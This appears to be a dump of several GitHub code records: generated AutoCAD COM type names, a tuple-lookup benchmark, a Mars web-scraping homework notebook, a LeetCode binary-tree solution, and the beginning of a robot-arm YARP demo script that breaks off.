'acTitleHorzTopColor', 'AcadBlock', 'IAxDbDocument',\n 'acTitleVertInsideColor', 'IAcadSectionManager',\n 'AcadDimRadialLarge', 'AcRegenType', 'acArrowClosed',\n 'AcMLeaderType', 'ac1_20', 'acCellStateContentModified',\n 'acSelectionSetWindow', 'IAcadSurface',\n 'acAlignmentBottomLeft', 'acDrawContentFirst',\n 'IAcadMaterial', 'acVp1_10', 'acLock',\n 'acDataVertLeftVisibility', 'acVp1_16in_1ft', 'acRegion',\n 'IAcadDictionary', 'acPolicyLegacy', 'acViewport3Vertical',\n 'acNoneContent', 'AcRowType',\n 'acAttributeModeMultipleLine', 'AcadDimArcLength',\n 'acIntensityRainbow', 'AcadPViewport',\n 'acDemanLoadDisable', 'AcadFileDependency',\n 'AcTextAlignmentType', 'acToolbarFlyout',\n 'acArrowDotSmall', 'acFalse', 'AcadRevolvedSurface',\n 'acAttributeModeConstant', 'AcMenuItemType',\n 'acHeaderHorzBottomColor', 'acDegreeMinuteSeconds',\n 'acLineSpacingStyleAtLeast', 'acPreferenceClassic',\n 'AcPrinterSpoolAlert', 'AcSegmentAngleType',\n 'acCustomParameterization', 'acLnWt040', 'AcadDimStyles',\n 'IAcadMLine', 'AcadLeader', 'ac2010_Template',\n 'acSectionStateVolume', 'acAttachmentVertical',\n 'acQuadSurfaceMesh', 'acUnknownRow',\n 'acHorizontalAlignmentCenter',\n 'ACADSECURITYPARAMS_ALGID_RC4', 'acTitleHorzTopVisibility',\n 'acDim3PointAngular', 'acMiddleCenter',\n 'acTitleVertLeftVisibility', 'acHeaderVertLeftVisibility',\n 'acDefaultUnits', 'acDataVertInsideLineWeight',\n 'AcadDimRotated', 'acLsOn', 'acMiddleRight',\n 'acLineSpacingStyleExactly', 'acTextHeight',\n 'acUpdateOptionIncludeXrefs', 'acIsolines',\n 'AcShadowDisplayType',\n 'AcDynamicBlockReferencePropertyUnitsType', 'AcadUCSs',\n 'acHorizontalAlignmentRight', 'acSelectionSetCrossing',\n 'acLeftToRight', 'acContentLayout', 'acFontItalic',\n 'acVp1_30', 'acVerticalAlignmentTop',\n 'acHeaderHorzTopColor', 'acDimEngineering', 'ac2000_dwg',\n 'IAcad3DSolid', 'acExternalReference', 'AcCellState',\n 'IAcadBlock', 'acEdRepeatLastCommand',\n 'AcPlotPolicyForNewDwgs', 'IAcadGeomapImage',\n 'AcSplineFrameType', 'acResbuf', 'IAcadDimRotated',\n 'AcPolymeshType', 'IAcadDimRadial', 'IAcadSectionSettings',\n 'AcadXRecord', 'ac2013_dwg', 'acLnWtByLayer',\n 'IAcadDimStyles', 'acCellStateContentLocked',\n 'IAcadLayers', 'acObject', 'acAlignmentCenter',\n 'acArrowBoxFilled', 'acHeaderVertLeftLineWeight',\n 'ACAD_LAYER', 'acDecimal', 'ac1_2',\n 'acDimFractionalStacked', 'acAlwaysCrease', 'acLnWt106',\n 'acPreDefinedGradient', 'IAcadDimAngular',\n 'acColorMethodForeground', 'acInsertUnitsMiles',\n 'acUnknownCell', 'AcadView', 'IAcadLayouts',\n 'acFontRegular', 'acTolTop',\n 'acUpdateOptionOverwriteContentModifiedAfterUpdate',\n 'acInsertUnitsMicrons', 'IAcadRegion', 'acConnectExtents',\n 'IAcadPolygonMesh', 'acInsertUnitsDecameters',\n 'IAcadMLeaderLeader', 'acOCS', 'AcadObject',\n 'acZoomScaledAbsolute', 'acCellContentColor',\n 'AcSectionType', 'AcadSubDMesh', 'acIntensityEditableFlag',\n 'acRaster', 'acNormals', 'acDataRowColor',\n 'acAttributeModeVerify', 'acDrawLeaderTailFirst',\n 'AcadMLine', 'acHatchLoopTypeExternal', 'IAcadShape',\n 'AcDimCenterType', 'acDimPrecisionFive',\n 'IAcadNurbSurface', 'acAttachmentMiddle',\n 'acOverSecondExtension', 'AcadSubEntity', 'acBottomRight',\n 'acOQLineArt', 'acIgnoreMtextFormat', 'acCellTextHeight',\n 'acLnWt100', 'acHeaderVertInsideColor',\n 'acVerticalAlignmentBottom', 'acVertCentered',\n 'acProxyNotShow', 'acMax', 'AcHatchStyle', 'acMarginTop',\n 'acDemandLoadEnabledWithCopy', 'acHeight', 'acLnWt030',\n 'acExtendThisEntity', 'acByBlock', 'acArrowOrigin2',\n 'acDegrees45', 'IAcadDictionaries',\n 'acVerticalAlignmentBaseline', 'IAcadPlotConfigurations',\n 'acTitleVertInsideVisibility', 'IAcadSubDMeshEdge',\n 'IAcadIdPair', 'acOutside', 'AcCellOption',\n 'AcTableDirection', 'acVertCellMargin',\n 'AcadSectionManager', 'acPolicyNewDefault',\n 'acTableFlowRight', 'IAcadObjectEvents',\n 'acInsertUnitsYards', 'acDataTypeAndFormat',\n 'acFlowDirection', 'IAcadLayout',\n 'acHeaderHorzTopVisibility', 'AcadDimAngular',\n 'acLsLineWeight', 'kFormatOptionNone', 'AcadLoftedSurface',\n 'acPrinterAlwaysAlert', 'AcadPointCloud', 'acDataFormat',\n 'acAlignmentBottomCenter', 'LONG_PTR',\n 'acUpdateSourceFromData', 'acOn', 'AcadPoint',\n 'acCellContentLayoutStackedVertical', 'acColorMethodByRGB',\n 'acArrowsOnly', 'acR13_dxf',\n 'acHatchPatternTypeUserDefined', 'acJIS',\n 'acDataHorzTopColor', 'Ac3DPolylineType',\n 'acDataHorzInsideVisibility', 'acTitleRowTextStyle',\n 'AcGradientPatternType', 'AcadSection', 'acQuadSplinePoly',\n 'acVp8_1', 'IAcadPaperSpace', 'acBlue',\n 'acToolbarDockLeft', 'acDimOrdinate', 'ac1_1',\n 'acArrowOpen30', 'acBlockTriangle', 'acDegrees60',\n 'acTitleHorzBottomLineWeight', 'AcadDim3PointAngular',\n 'AcLoadPalette', 'IAcadLine', 'acChord', 'acDimScientific',\n 'acDimRadialLarge', 'acRightAlignment',\n 'IAcadMLeaderStyle', 'AcadWipeout', 'acBlockHexagon',\n 'acEnter', 'ACAD_DISTANCE', 'acArrowSmall',\n 'acVerticalAlignmentMiddle', 'AcadPolygonMesh',\n 'acAlwaysRightReadingAngle', 'IAcadUCSs', 'IAcad3DFace',\n 'acTextAndArrows', 'acIntensityBlue', 'acView',\n 'acVp1ft_1ft', 'AcWireframeType', 'acRGB', 'acTextOnly',\n 'AcKeyboardPriority', 'acMarginRight', 'acTolLimits',\n 'acLnWt060', 'acHorizontalAlignmentAligned', 'acLayout',\n 'acAlignmentMiddleCenter', 'acGeneral',\n 'IAcadSubEntSolidEdge', 'acPenWidth070',\n 'acAlignmentTopCenter', 'ac270degrees',\n 'AcViewportSplitType', 'AcDimTextMovement', 'acCenterLine',\n 'AcadMaterial', 'acHeaderHorzBottomLineWeight', 'acFit',\n 'acR13_dwg', 'AcMenuFileType', 'AcadDatabasePreferences',\n 'AcOleType', 'acPreserveMtextFormat', 'acPenWidthUnk',\n 'acGroup', 'AcadOle', 'acMergeAll', 'AcadDimRadial',\n 'acCellStateFormatModified', 'IAcadText', 'acVp3_8in_1ft',\n 'AcColor', 'acDataRowDataType', 'acDataVertRightColor',\n 'Acad3DPolyline', 'acDimLDecimal', 'AcadBlocks',\n 'acLineWithArrow', 'acDegrees090', 'IAcadObject', 'acOff',\n 'acMiddleLeft', 'AcDragDisplayMode', 'acUnitAngle',\n 'acPaletteByDrawing', 'acAllNormal', 'ac1_2in_1ft',\n 'acCellContentLayoutFlow', 'acR15_Template',\n 'AcPlotPolicy', 'acRightMask', 'AcadPdfUnderlay',\n 'ac1_4in_1ft', 'IAcadSweptSurface', 'acTableBottomToTop',\n 'acVertRight', 'AcCellEdgeMask', 'IAcadMaterials',\n 'IAcadLoftedSurface', 'acSymAbove', 'acLnWtByBlock',\n 'acHatchLoopTypeTextbox', 'acIntensity',\n 'acMergeCellStyleCopyDuplicates', 'AcMLeaderContentType',\n 'AcVerticalTextAttachmentType', 'acMLeader', 'AcadSurface',\n 'acDimFractional', 'AcadSubEntSolidVertex',\n 'acContentColor', 'AcadFileDependencies', 'IAcadAttribute',\n 'acLsLineType', 'acCellBackgroundColor', 'acArea',\n 'acTitleHorzInsideColor', 'acRuled',\n 'AcadRegisteredApplication', 'acSCM', 'acCreaseByLevel',\n 'acDataType', 'AcOleQuality', 'AcadTableStyle',\n 'AcUnderlayLayerOverrideType', 'acIntersection',\n 'acForExpression', 'acCellContentLayoutStackedHorizontal',\n 'acToolbarDockRight', 'acTextCell', 'acBaseMenuGroup',\n 'acEnableSCM', 'acExtents', 'acDimArchitecturalStacked',\n 'acMLine', 'acDemandLoadCmdInvoke', 'acHorzBottom',\n 'acMarginBottom', 'acLimits', 'IAcadRay', 'acNurbSurface',\n 'acUpdateOptionUpdateFullSourceRange', 'acDegrees',\n 'acArrowDotBlank', 'acTolBasic', 'acInsertUnitsAngstroms',\n 'acArrowDefault', 'acBottomCenter', 'acDate',\n 'IAcadEntity', 'acEndsNormal', 'acShadePlotRendered',\n 'acAlignmentTopLeft', 'acAlignmentBottomRight', 'ac1_30',\n 'ac8_1', 'acSectionGenerationSourceSelectedObjects',\n 'acLine', 'acIntensityRed', 'acVp1_50', 'AcCellMargin',\n 'AcadLayerStateManager', 'acViewport3Horizontal',\n 'Acad3DSolid', 'acViewport2Vertical', 'AcRotationAngle',\n 'acTitleRowDataType', 'acCyan', 'acViewport3Left',\n 'acDegrees30', 'ac1_100', 'AcDrawingAreaSCMDefault',\n 'acPolicyLegacyDefault', 'AcPlotScale',\n 'acAttachmentLinedCenter', 'AcDimVerticalJustification',\n 'acSqrtChord', 'AcadTrace', 'IAcadLeader',\n 'acAttachmentMiddleOfTop', 'AcMLineJustification',\n 'AcadMLeaderLeader', 'acTitleHorzInsideLineWeight',\n 'acEnableSCMOptions', 'acInsertUnitsUSSurveyInch',\n 'acLnWt090', 'acArc', 'ACAD_LWEIGHT', 'acMetric',\n 'acViewport4', 'acFitCurvePoly', 'AcPreviewMode',\n 'acBottomLeft', 'AcWindowState', 'acLeader',\n 'acCellTopGridColor', 'acAttachmentPointMiddleLeft',\n 'acInsertUnitsPrompt', 'acHeaderRowFillNone',\n 'acFractional', 'acOTLink', 'acCircle',\n 'acTitleHorzTopLineWeight', 'acSectionType2dSection',\n 'acPreferenceCustom', 'AcadLayer', 'acR18_Template',\n 'AcSectionGeneration', 'acSubDMesh', 'IAcadWipeout',\n 'acAttributeModeInvisible', 'acNormal', 'AcBoolean',\n 'acOverFirstExtension', 'AcUnits', 'AxDbDocument',\n 'acCubicSurfaceMesh', 'AcTextFontStyle', 'IAcadTextStyles',\n 'acSectionState2Volume', 'ACAD_NOUNITS', 'acLnWt025',\n 'AcadText', 'AcSelect', 'acIntensityGreen',\n 'IAcadPViewport', 'acLnWt000', 'IAcadUCS',\n 'acViewport2Horizontal', 'acShadePlotHidden',\n 'acPViewport', 'acCellContentTypeValue', 'IAcadLWPolyline',\n 'AcDataLinkUpdateDirection', 'IAcadHelix', 'ac2007_dxf',\n 'acHeaderHorzBottomVisibility', 'acShape', 'acPoint',\n 'AcadDictionaries', 'acNative', 'acPenWidth018', 'acMin',\n 'AcadEllipse', 'AcadModelSpace', 'AcadMLeaderStyle',\n 'acCellRightGridLineWeight', 'acUnitVolume',\n 'acDataRowAlignment', 'IAcadSubEntity',\n 'IAcadSubDMeshVertex', 'ac10_1', 'acObjectId',\n 'ac2013_Template', 'acTolDeviation', 'acOQText',\n 'AcadMText', 'acSectionState2Plane',\n 'acCellContentTypeUnknown', 'AcadSectionTypeSettings',\n 'acHeaderSuppressed', 'IAcadPlotConfiguration',\n 'IAcadGeoPositionMarker', 'acDemandLoadOnObjectDetect',\n 'acAttributeModeLockPosition', 'acVp3_32in_1ft',\n 'acLsLocked', 'IAcadPoint', 'acHatchStyleNormal',\n 'acInsertAngle', 'acAlignmentLeft', 'acHatch', 'acAngular',\n 'acUnitDistance', 'AcadArc', 'acForEditing',\n 'acArrowOblique', 'acPenWidth200', 'IAxDbDocumentEvents',\n 'AcTextAttachmentDirection', 'acDataVertRightLineWeight',\n 'acSimpleMesh', 'acOPQLowGraphics', 'acArrowOrigin',\n 'acUnknownDataType', 'acMTextContent',\n 'AcadSubDMeshVertex', 'IAcadRegisteredApplications',\n 'IAcadSolid', 'acDimRotated', 'acOTEmbedded', 'acLnWt211',\n 'acPenWidth140', 'AcadMInsertBlock', 'acArrowBoxBlank',\n 'IAcadFileDependencies', 'acUpdateOptionNone',\n 'acToolbarSeparator', 'acCellAlign', 'IAcadViewport',\n 'acHatchPatternTypePreDefined', 'acEnableBackgroundColor',\n 'IAcadDatabasePreferences', 'acAttachmentPointTopCenter',\n 'kCellOptionNone', 'acBottomToTop', 'acDimRadial',\n 'ACAD_LTYPE', 'IAcadDimArcLength', 'acNoneCrease',\n 'acWhite', 'ac2007_dwg', 'AcISOPenWidth',\n 'AcARXDemandLoad', 'acR18_dwg', 'acFirstExtensionLine',\n 'AcadEntity', 'acMInsertBlock', 'acMagenta',\n 'AcPointCloudIntensityStyle', 'acPolicyNamed',\n 'acKeyboardEntry', 'AcLayerStateMask', 'acR12_dxf',\n 'IAcadBlocks', 'acMergeCellStyleIgnoreNewStyles',\n 'acBlockContent', 'acIntensities',\n 'AcDimHorizontalJustification', 'acTableTopToBottom',\n 'acCubicSpline3DPoly', 'acAlignmentProperty',\n 'AcDimArrowheadType', 'acRepeatLastCommand',\n 'acTurnHeight', 'acCellRightGridColor', 'acArrowIntegral',\n 'AcadAttribute', 'acInvalidCellProperty',\n 'acCellBottomVisibility', 'acRightToLeft', 'acFullPreview',\n 'ac1_4', 'acVp1_100', 'acTolSymmetrical', 'acDimDecimal',\n 'AcLineSpacingStyle', 'acDimPrecisionThree',\n 'AcadSubEntSolidFace', 'acUnitless', 'acInsertUnitsMeters',\n 'acBlockImperial', 'IAcadHatch',\n 'acAttachmentPointMiddleRight', 'acLnWt140',\n 'acMillimeters', 'acDataHorzInsideLineWeight',\n 'acSelectionSetPrevious', 'AcParseOption', 'acScientific',\n 'acAllViewports', 'acPrinterAlertOnce', 'IAcadViews',\n 'AcadAcCmColor', 'acHide', 'acHorizontalAlignmentLeft',\n 'acCastsAndReceivesShadows', 'acDemandLoadDisabled',\n 'IAcadBlockReference', 'ac4_1', 'acHeaderRowTextHeight',\n 'acArrowArchTick', 'AcCellAlignment', 'ac2007_Template',\n 'acApplied', 'AcAlignmentPointAcquisition',\n 'acAttachmentTopOfTop', 'acHorizontal', 'ACAD_POINT',\n 'IAcadSubDMesh', 'AcDrawingAreaSCMCommand',\n 'acPenWidth025', 'AcVerticalAlignment',\n 'acSectionSubItemkNone', 'acDimLWindowsDesktop',\n 'acInsertUnitsMils', 'acInsertUnitsUSSurveyFeet',\n 'AcDrawMLeaderOrderType', 'IAcadSecurityParams',\n 'acBlockBox', 'acPolicyLegacyQuery',\n 'acHeaderHorzInsideVisibility',\n 'acSectionSubItemSectionLineTop', 'acMergeCellStyleNone',\n 'acFirstNormal', 'acVp1_2in_1ft', 'acArrowOpen',\n 'ac1_128in_1ft', 'acHorizontalAlignmentFit',\n 'acInsertUnitsFeet', 'acToolbarDockTop', 'ac1_32in_1ft',\n 'acLastNormal', 'IAcadDatabase', 'acPaperSpace',\n 'acDegreesAny', 'IAcadSection2', 'IAcadExtrudedSurface',\n 'AcBlockScaling', 'acBlockReference', 'acR14_dxf',\n 'ac2013_dxf', 'AcAttributeMode', 'acModelSpace',\n 'IAcadOle', 'AcadPolyline', 'IAcadTableStyle',\n 'AcSectionState', 'acDegrees90', 'acTextStyle',\n 'acTopLeft', 'acTitleHorzInsideVisibility', 'acUnknown',\n 'IAcadDimAligned', 'acVp1_8', 'acSymNone',\n 'IAcadSubDMeshFace', 'acCenterNone', 'acFontBold',\n 'AcValueUnitType', 'acTopToBottom', 'acDataRowTextStyle',\n 'acTitleRowTextHeight', 'AcKeyboardAccelerator',\n 'acDataVertInsideColor', 'acTolNone', 'acGradientObject',\n 'AcadHyperlinks', 'acDragDisplayAutomatically',\n 'IAcadMText', 'AcMergeCellStyleOption', 'acShow',\n 'AcCellType', 'acTopRight', 'acTitleHorzBottomVisibility',\n 'AcBooleanType', 'acCubicSplinePoly',\n 'acInsertUnitsAutoAssign', 'acInsertUnitsHectometers',\n 'AcadSummaryInfo', 'acOTStatic', 'acLeftAlignment',\n 'IAcadDwfUnderlay', 'AcadXline', 'acDimDiametric',\n 'IAcadLayer', 'IAcadGroup', 'AcadSpline',\n 'AcadDwfUnderlay', 'acAlignmentFit',\n 'AcPointCloudStylizationType', 'acColorMethodByACI',\n 'acParseOptionNone', 'acInsertUnitsCentimeters',\n 'AcadAttributeReference', 'acPenWidth100', 'ac3dFace',\n 'acDrawLeaderHeadFirst', 'acVp2_1', 'IAcadDimDiametric',\n 'acBlockUserDefined', 'acPartialMenuGroup',\n 'acUpdateDataFromSource', 'acHeaderVertRightLineWeight',\n 'AcDrawingDirection', 'acSectionSubItemVerticalLineBottom',\n 'acDgnUnderlay', 'acAllCellProperties',\n 'acAttachmentPointBottomCenter', 'acSplineLeader',\n 'IAcadLayerStateManager', 'AcSectionState2',\n 'AcadPaperSpace', 'AcPlotPolicyForLegacyDwgs',\n 'AcInsertUnitsAction', 'acInsertUnitsKilometers',\n 'AcHelixConstrainType', 'acDistance', 'AcadLWPolyline',\n 'AcadLineTypes', 'acPdfUnderlay', 'ac2004_Template',\n 'AcDimToleranceJustify', 'acDimArcLength',\n 'acHeaderRowAlignment', 'acTitleRowColor', 'acDiagonal',\n 'acEllipse', 'acSectionType3dSection', 'acTitleSuppressed',\n 'acDimPrecisionEight', 'acSectionState2Slice',\n 'acProxyBoundingBox', 'acLsNone', 'AcadViews',\n 'acTitleVertInsideLineWeight', 'acAlignmentAligned',\n 'acVp1_2', 'AcXRefDemandLoad', 'acDataRowFillColor',\n 'AcadViewport', 'acVp10_1', 'acSectionSubItemBackLine',\n 'AcToolbarItemType', 'acPixels', 'acInsertUnitsLightYears',\n 'IAcadDynamicBlockReferenceProperty', 'acDimPrecisionZero',\n 'acHatchStyleOuter', 'acLnWt070', 'acAlignmentMiddleRight',\n 'acLong', 'acDimLArchitectural', 'acNorm',\n 'acMoveTextAddLeader', 'AcTextAngleType',\n 'AcadDynamicBlockReferenceProperty',\n 'acAttachmentPointMiddleCenter', 'IAcadSubEntSolidFace',\n 'acMergeCellStyleOverwriteDuplicates',\n 'AcCoordinateSystem', 'acBitProperties', 'acLnWt158',\n 'acSolid', 'acGridLineStyleDouble', 'acR18_dxf',\n 'acString', 'AcadExtrudedSurface', 'acExtendNone',\n 'acInVisibleLeader', 'acColorMethodByBlock',\n 'AcPatternType', 'acCellStateFormatLocked',\n 'acActiveViewport', 'AcValueDataType',\n 'acPrinterNeverAlert', 'acDimPrecisionFour',\n 'IAcadPolyline', 'acSelectionSetCrossingPolygon',\n 'AcAlignment', 'acExtendOtherEntity', 'IAcadSpline',\n 'AcadHelix', 'acContentProperties', 'acHeaderRowTextStyle']\nfrom comtypes import _check_version; _check_version('')\n","repo_name":"debunt/automatic-layout-of-the-painting-line","sub_path":"envatcd/Lib/site-packages/comtypes/gen/_AE7B2C8A_2E97_4406_8160_E8D32EB0B56D_0_1_0.py","file_name":"_AE7B2C8A_2E97_4406_8160_E8D32EB0B56D_0_1_0.py","file_ext":"py","file_size_in_byte":903112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8529490813","text":"import time\nfrom random import randint\n\n\nx = 1000000\n\ntemp_list = []\n\n# create temp list and then convert it to tuple\nwhile x > 0:\n temp_list.append(x)\n x = x - 1\n\n# convert list to tuple\ndemo_tuple = tuple(temp_list)\n\nstart = time.clock()\n\n# random find elements from tuple\ny = 2000000\nwhile y > 0:\n item = demo_tuple[randint(0, 999999)]\n y = y - 1\n\nprint (time.clock() - start)\n","repo_name":"afshinm/python-list-vs-tuple-benchmark","sub_path":"tuple.py","file_name":"tuple.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38900521549","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport os\nimport requests\nfrom bs4 import BeautifulSoup as bs\nfrom splinter import Browser\n\n\n# # Scrape everything\n# \n\n# In[52]:\n\n\n# this dictionary will hold everything we pull from all the sites\nscraped_data = {}\n\n\n# In[53]:\n\n\n# site 1 -\nnews_url = \"https://mars.nasa.gov/news/\" # probably need to replace this since it redirects\nlonglink = \"https://mars.nasa.gov/news/?page=0&per_page=40&order=publish_date+desc%2Ccreated_at+desc&search=&category=19%2C165%2C184%2C204&blank_scope=Latest\"\n\n#with open(longlink, encoding='utf-8') as file:\n # html = file.read()\n# use beautiful soup to parse the url above\nresponse = requests.get(longlink)\n\nsoup = bs(response.text, 'html.parser')\n#def OutputSoup(soup):\n # with open('myout.html','w',encoding='utf-8') as file:\n # file.write(str(soup))\n#OutputSoup\nsoup\n\n\n# In[57]:\n\n\n#example_title_div = '
NASA's Curiosity Rover Finds an Ancient Oasis on Mars
'\n#example_paragraph_div = '
New evidence suggests salty, shallow ponds once dotted a Martian crater — a sign of the planet's drying climate.
'\n\n# use bs to find() the example_title_div and filter on the class_='content_title'\n#news_title = soup.find_all('div', class_=\"content_title\")\nnt_level1 = soup.find_all('div',class_='content_title')\nnews_title = nt_level1[0].text.strip()\n\n#news_title = \"FILL IN THE TITLE\"\nscraped_data['news_title'] = news_title\n\n# use bs to find() the example_title_div and filter on the class_='article_teaser_body'\n#news_p = soup.find_all('div', class_=\"rollover_description_inner\")\nnp_level1 = soup.find_all('div',class_='rollover_description_inner')\nnews_p = np_level1[0].text.strip()\n#scraped_data['news_p'] = news_p\n#news_p = \"FILL IN THE PARAGRAPH\"\nscraped_data['news_p'] = news_p\nscraped_data\n\n\n# In[70]:\n\n\nimport time\nurl = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\nexecutable_path = {'executable_path': 'chromedriver.exe'}\nbrowser = Browser('chrome', **executable_path, headless=False)\nbrowser.visit(url)\ntime.sleep(2)\nhtml = browser.html\nsoup = bs(html, \"html.parser\")\nresult = soup.find_all('a',class_='fancybox')\nprint(result[0]) #look at the first result\n\n\n# In[86]:\n\n\nmarsimage = soup.find('a',class_='fancybox')['data-fancybox-href']\nprint(marsimage)\n\n\n# In[87]:\n\n\npart1 = 'https://www.jpl.nasa.gov'\nfeatured_image_url = part1 + marsimage\nfeatured_image_url\n\n\n# In[88]:\n\n\nscraped_data['featured_image_url'] = featured_image_url\nscraped_data\n\n\n# In[94]:\n\n\nhtml3 = 'https://twitter.com/marswxreport?lang=en'\nresponse2 = requests.get(html3)\n\nsoup = bs(response2.text, 'html.parser')\n# grab the latest tweet and be careful its a weather tweet\nsoup\n# Example:\n#mars_weather = 'Sol 1801 (Aug 30, 2017), Sunny, high -21C/-5F, low -80C/-112F, pressure at 8.82 hPa, daylight 06:09-17:55'\n\n\n# In[98]:\n\n\ntwitter1 = soup.find_all('p',class_='TweetTextSize TweetTextSize--normal js-tweet-text tweet-text')\ntwitter = twitter1[0].text.strip()\ntwitter\n\n\n# In[99]:\n\n\nscraped_data['twitter'] = twitter\nscraped_data\n\n\n# In[100]:\n\n\n# site 4 - \nfacts_url = 'https://space-facts.com/mars/'\nresponse3 = requests.get(facts_url)\n\nsoup = bs(response3.text, 'html.parser')\nsoup\n# use pandas to parse the table\n\n#facts_df = pd.read_html(facts_url)[0]\n\n# convert facts_df to a html string and add to dictionary.\n\n\n# In[105]:\n\n\nmarsfacts1 = soup.find_all('table',class_='tablepress tablepress-id-p-mars')\n#twitter = twitter1[0].text.strip()\nmarsfacts = marsfacts1[0].text.strip()\nmarsfacts\n\n\n# In[108]:\n\n\nfacts_df = pd.read_html(facts_url)[0]\nfacts_df\n\n\n# In[112]:\n\n\nfacts_html = pd.DataFrame.to_html(facts_df)\nfacts_html\n\n\n# In[114]:\n\n\nscraped_data['facts_df'] = facts_html\nscraped_data\n\n\n# In[40]:\n\n\nmarshemisphere = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n\nresponse4 = requests.get(marshemisphere)\n\nsoup = bs(response4.text, 'html.parser')\n#soup\n# use bs4 to scrape the title and url and add to dictionary\n\n# Example:\n\n\n# In[50]:\n\n\ntitle1 = soup.find_all('div',class_='description')[1].find('h3').text\ntitle1\n\n\n# In[72]:\n\n\nimages = []\nfor x in range(0, 4):\n title1 = soup.find_all('div',class_='description')[x].find('h3').text\n print(title1)\n images.append(title1)\nimages\n\n\n# In[35]:\n\n\ntitle1 = soup.find_all('div',class_='description')\n\nfor title in title1:\n h3 = title.find('h3')\n print(h3)\n #link = h3.find('div')\n #titles = link['h3']\n\n#title2 = title1[0].find('h3').text\nprint(title1)\n\n\n# In[36]:\n\n\nurl1 = soup.find_all('img',class_='item')\n#url2 = url1[0].find('src')\nprint(url1)\n\n\n# In[152]:\n\n\nhemisphere_image_urls = [\n {\"title\": \"Valles Marineris Hemisphere\", \"img_url\": \"https://astrogeology.usgs.gov/cache/images/7cf2da4bf549ed01c17f206327be4db7_valles_marineris_enhanced.tif_full.jpg\"},\n {\"title\": \"Cerberus Hemisphere\", \"img_url\": \"https://astrogeology.usgs.gov/cache/images/cfa62af2557222a02478f1fcd781d445_cerberus_enhanced.tif_full.jpg\"},\n {\"title\": \"Schiaparelli Hemisphere\", \"img_url\": \"https://astrogeology.usgs.gov/cache/images/3cdd1cbf5e0813bba925c9030d13b62e_schiaparelli_enhanced.tif_full.jpg\"},\n {\"title\": \"Syrtis Major Hemisphere\", \"img_url\": \"https://astrogeology.usgs.gov/cache/images/ae209b4e408bb6c3e67b6af38168cf28_syrtis_major_enhanced.tif_full.jpg\"},\n]\n\n\n# In[153]:\n\n\nscraped_data['hemisphereimage'] = hemisphere_image_urls\nscraped_data\n\n\n# In[ ]:\n\n\n# File-> download as python into a new module called scrape_mars.py\n\n\n# In[ ]:\n\n\n# use day 3 09-Ins_Scrape_And_Render/app.py as a blue print on how to finish the homework.\n\n# replace the contents of def index() and def scraper() appropriately.\n\n# change the index.html to render the site with all the data.\n\nfrom splinter import Browser\n\ndef init_browser():\n # @NOTE: Replace the path with your actual path to the chromedriver\n executable_path = {\"executable_path\": \"chromedriver\"}\n return Browser(\"chrome\", **executable_path, headless=False)\n\n\ndef scrape():\n longlink = \"https://mars.nasa.gov/news/?page=0&per_page=40&order=publish_date+desc%2Ccreated_at+desc&search=&category=19%2C165%2C184%2C204&blank_scope=Latest\"\n url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n html3 = 'https://twitter.com/marswxreport?lang=en'\n facts_url = 'https://space-facts.com/mars/'\n marshemisphere = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n scraped_data[\"news_title\"]\n scraped_data[\"news_p\"]\n scraped_data[\"featured_image_url\"]\n scraped_data[\"twitter\"]\n scraped_data[\"facts_df\"]\n scraped_data[\"hemisphereimage\"]\n\n \n\n return scraped_data","repo_name":"Ashwin148/Webscraping_hw","sub_path":"scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":6771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6084590242","text":"#\n# @lc app=leetcode.cn id=257 lang=python3\n#\n# [257] 二叉树的所有路径\n#\n# https://leetcode-cn.com/problems/binary-tree-paths/description/\n#\n# algorithms\n# Easy (64.02%)\n# Likes: 271\n# Dislikes: 0\n# Total Accepted: 40.4K\n# Total Submissions: 63.1K\n# Testcase Example: '[1,2,3,null,5]'\n#\n# 给定一个二叉树，返回所有从根节点到叶子节点的路径。\n# \n# 说明: 叶子节点是指没有子节点的节点。\n# \n# 示例:\n# \n# 输入:\n# \n# ⁠ 1\n# ⁠/ \\\n# 2 3\n# ⁠\\\n# ⁠ 5\n# \n# 输出: [\"1->2->5\", \"1->3\"]\n# \n# 解释: 所有根节点到叶子节点的路径为: 1->2->5, 1->3\n# \n#\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def binaryTreePaths(self, root: TreeNode) -> List[str]:\n res = []\n path = []\n self._dpf(res, path, root)\n\n return res\n\n def _dpf(self, res: List[str], path: List[str], node: TreeNode):\n if not node:\n return\n\n path.append(str(node.val))\n if not node.left and not node.right:\n res.append('->'.join(path))\n path.pop()\n return\n\n if node.left:\n self._dpf(res, path, node.left)\n\n if node.right:\n self._dpf(res, path, node.right)\n\n path.pop()\n\n# @lc code=end\n\n","repo_name":"liubei90/leetcode","sub_path":"257.二叉树的所有路径.py","file_name":"257.二叉树的所有路径.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73804512141","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Authors: Juan G Victores\n# CopyPolicy: released under the terms of the LGPLv2.1\n# URL: https://github.com/roboticslab-uc3m/\n\nimport yarp\nfrom yarp import DVector\nimport roboticslab_speech as speech\nfrom time import sleep\n\nrobot = '/teoSim'\n\nyarp.Network.init()\n\nif not yarp.Network.checkNetwork():\n print('Please try running yarp server')\n raise SystemExit\n\n#-- Left Arm (LA)\n\noptionsLA = yarp.Property()\noptionsLA.put('device', 'remote_controlboard')\noptionsLA.put('remote', robot + '/leftArm')\noptionsLA.put('local', '/demo' + robot + '/leftArm')\nddLA = yarp.PolyDriver(optionsLA)\nposLA = ddLA.viewIPositionControl()\n\nif not ddLA.isValid():\n print('Left arm device not available')\n raise SystemExit\n\n#-- Right Arm (RA)\n\noptionsRA = 